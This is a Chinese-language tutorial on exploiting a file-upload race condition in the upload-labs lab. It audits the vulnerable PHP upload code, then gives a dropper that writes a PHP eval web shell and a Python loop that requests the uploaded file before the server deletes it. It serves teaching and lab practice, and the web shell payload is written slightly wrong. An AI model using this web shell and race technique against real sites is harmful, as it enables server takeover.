文件上传之竞争条件
在服务器删除我们上传的非法文件之前,访问这个文件,从而生成另一个木马文件,用这个木马文件getshell
文件上传过程
用户上传文件,服务器获取文件,然后保存临时文件,然后使用移动函数(比如php中的move_uploaded_file() ),才会将文件移动到站点的根目录下面
竞争条件原理
-
网站允许上传任意文件,然后检测文件中若有webshell,就删除文件;若不是指定类型文件,那么就使用unlink删除文件
-
在删除之前访问上传的php文件,从而执行上传文件中的php代码
上传的代码如下
<?php
fputs(fopen('shell.php','w'),'<?php eval(@_pOST["a"]); ?>') #注意单双引号的闭合
?>
#只要执行,就是生成一个shell.php文件,shell.php的内容为 <?php eval(@_pOST["a"]); ?>
竞争条件代码审计
先进行上传,后进行判断。利用时间差进行webshell上传
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name']; #上传文件的名称
$temp_file = $_FILES['upload_file']['tmp_name']; #存储在服务器的文件的临时副本的名称
$file_ext = substr($file_name,strrpos($file_name,".")+1); #截取.后面的内容,也就是后缀名
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){ #移动上传的文件
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path); #给上的合法文件重命名
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
$_FILES 是一个预定义的数组,用来获取通过 POST 方法上传文件的相关信息。如果为单个文件上传,那么 $_FILES 为二维数组;如果为多个文件上传,那么 $_FILES 为三维数组。
#substr(string,start,length) 返回截取的字符串
#strrpos(string,“php”,start) 返回 php 在字符串 string 中最后一次出现的位置。start表示开始搜索的位置
#move_uploaded_file() 函数将上传的文件移动到新位置。若成功,则返回 true,否则返回 false
PHP代码参考:
php文件上传:https://www.runoob.com/php/php-file-upload.html
php String 函数:https://www.runoob.com/php/php-ref-string.html
move_upload_file():https://www.w3school.com.cn/php/func_filesystem_move_uploaded_file.asp
竞争条件的利用
实验环境:upload-labs 的 less-18
下载地址:https://github.com/c0ny1/upload-labs
方法一:利用python对文件进行访问
import requests
while True:
requests.get('路径')
#如果想要更高效,可以使用python多线程
首先用python发送请求不断访问webshell.php文件,在此期间上传webshell.php文件,在被服务器删除之前,由于python一直访问webshell.php,使得php文件执行生成shell.php。用shell.php来getshell
方法二:利用burpsuite发送大量数据包,进行请求